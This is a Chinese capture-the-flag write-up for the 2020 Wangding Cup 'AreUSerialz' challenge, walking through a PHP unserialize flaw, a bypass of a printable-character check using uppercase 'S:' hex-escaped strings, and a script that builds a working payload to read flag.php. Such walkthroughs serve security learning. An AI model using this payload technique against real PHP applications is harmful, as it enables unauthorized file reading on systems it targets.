[网鼎杯 2020 青龙组]AreUSerialz

源代码关键部分分析

php 复制代码
if(isset( $ _GET['str'])) {
     $ str = (string) $ _GET['str'];
    if(is_valid( $ str)) {
         $ obj = unserialize( $ str);
    }
}

function is_valid( $ s) {
    for ( $ i = 0;  $ i < strlen( $ s);  $ i++) 
        if (!(ord( $ s[ $ i]) >= 32 && ord( $ s[ $ i]) <= 125)) 
            return false;
    return true;
}

is_valid()函数

检查字符串中每个字符的ASCII码是否在32-125范围内(可打印字符)。

if(isset( $ _GET'str'))函数:

传入点为str

关键类分析

php 复制代码
class FileHandler {
    protected  $ op;
    protected  $ filename;
    protected  $ content;
    
    function __construct() {
         $ this->op = "1";
         $ this->filename = "/tmp/tmpfile";
         $ this->content = "Hello World!";
         $ this->process();
    }
    
    public function process() {
        if( $ this->op == "1") {
             $ this->write();
        } else if( $ this->op == "2") {
             $ res =  $ this->read();
             $ this->output( $ res);
        } else {
             $ this->output("Bad Hacker!");
        }
    }
    
    private function read() {
        return file_get_contents( $ this->filename);
    }
    
    private function output( $ s) {
        echo "[Result]: <br>" .  $ s;
    }
}

利用点:

op = "2"时,会调用read()方法读取 filename指定的文件。

FileHandler类的protected属性输出的时候会在变量名前面加上%00*%00,其ascii码值为0,会触发is_valid()检查,导致终止输入。

故我们现在有了目标:

构造一个反序列化对象,设置 op = "2"和 filename = "flag.php"。

把序列化后生成的%00改为它的url编码\00

并将小写的s: 替换为大写的**S:**输出,利用大写S采用的16进制,来绕过is_valid中对空字节的检查。

PHP序列化字符串中

s:(小写)表示字符串长度,会被PHP解析为十进制。

S:(大写)表示字符串长度,PHP会将其解释为十六进制。

构造脚本

php 复制代码
<?php
class FileHandler
{
    protected $op=2;
    protected $filename="flag.php";
    protected $content;
}
$a=new FileHandler();
$b=serialize($a);
$b = str_replace(chr(0), '\00', $b);
$b = str_replace('s:','S:', $b);
echo $b;

运行后得到序列化字符串

php 复制代码
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}

通过str注入点注入靶机

查看源代码便能找到flag

参考

网鼎杯 2020 青龙组AreUSerialz

相关推荐
学习星球12 分钟前
空天地一体化网络(NTN)深度解析:从Starlink D2C到3GPP NTN,卫星直连手机是如何实现的?
网络·人工智能·算法·智能手机·php
郑州光合科技余经理15 小时前
本地生活服务系统:模块边界与结算字段怎么拆
java·开发语言·前端·后端·系统架构·uni-app·php
2601_9620725017 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
Patrick在香港18 小时前
Python 拉取城巴开放数据:406 条路线,香港岛巴士网络的数字画像
网络·python·数据分析·php·数据可视化·香港·开放数据
吴声子夜歌1 天前
Java——开发中通用的方法和准则(二)
java·开发语言·php
2601_962065491 天前
PHP For 循环
android·java·php
2601_962065491 天前
interface GigabitEthernet0/0/0
服务器·php·apache
虎王物联1 天前
PHP Swoole实现物联网MQTT数据订阅与WebSocket实时推送
物联网·mqtt·websocket·php·swoole
XR1234567882 天前
办公网自主创新建设怎么选?信创办公场景的选型逻辑
开发语言·php
CRMEB2 天前
不懂设计也能有精美商城?CRMEB 主题广场与可视化装修的“千店千面“实操
人工智能·ai·小程序·开源·php